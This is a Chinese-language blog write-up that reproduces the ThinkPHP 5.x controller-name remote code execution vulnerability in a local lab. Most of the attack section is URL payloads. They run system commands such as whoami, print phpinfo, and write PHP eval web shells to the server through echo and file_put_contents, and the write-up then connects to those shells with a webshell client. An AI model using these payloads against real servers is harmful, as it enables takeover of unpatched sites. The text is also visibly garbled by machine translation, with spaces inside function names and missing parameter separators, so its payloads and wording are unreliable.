一、漏洞描述
2018年12月10日,ThinkPHP正式发布安全更新,修复了ThinkPHP5框架的一个高风险漏洞:
https://blog.thinkphp.cn/869075
造成该漏洞的原因是框架没有检测到足够的控制器名称,这可能会导致在没有启用强制路由的情况下远程执行代码(默认未启用)。受影响的版本包括5.0和5.1。
其次,该漏洞会影响版本
Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x=5.0.23
第三,漏洞再次出现
1.官网下载Thinkphp 5.0.22,下载地址为: http://www.thinkphp.cn/donate/download/id/1260.html
2.使用phpstudy搭建环境,将下载的Thinkphp5.0.22解压到网站目录,浏览器访问http://192 . 168 . 10 . 171/ThinkPhp 5 . 0 . 22/public
3.使用系统功能执行远程命令
有效载荷如下:
?s=index/think app/invokefunctionfunction=call _ user _ func _ arrayvars[0]=system vars[1][]=whoami
4.通过phpinfo函数查看phpinfo()的信息
有效载荷如下:
?s=index/think app/invokefunctionfunction=call _ user _ func _ arrayvars[0]=phpinfovars[1][]=1
5.写进壳里
有效载荷如下:
?s=/index/ think app/invokefunctionfunction=call _ user _ func _ arrayvars[0]=system vars[1][]=echo ^?PHP @ eval($ _ POST[cmd]);^shell.php
请注意,需要对特殊字符使用转义(cmd环境下的转义模式)。windows环境中的echo命令将字符串输出到没有引号(单引号和双引号)的文档中,有些字符可以不编码url进行编码。
6.检查外壳是否写成功。
7.菜刀连接
8.第二种写shell的方法
有效载荷如下:
?s=index/think app/invokefunctionfunction=call _ user _ func _ arrayvars[0]=file _ put _ contents vars[1][]=./test.phpvars[1][]=?PHP @ eval($ _ POST[test]);
9.检查文件是否写成功。
10.菜刀连接
摘要
以上是边肖介绍的ThinkPHP 5.x远程命令执行漏洞的重现,希望对大家有所帮助。如果你有任何问题,请给我留言,边肖会及时回复你。非常感谢您对我们网站的支持!如果你觉得这篇文章对你有帮助,请转载,请注明出处,谢谢!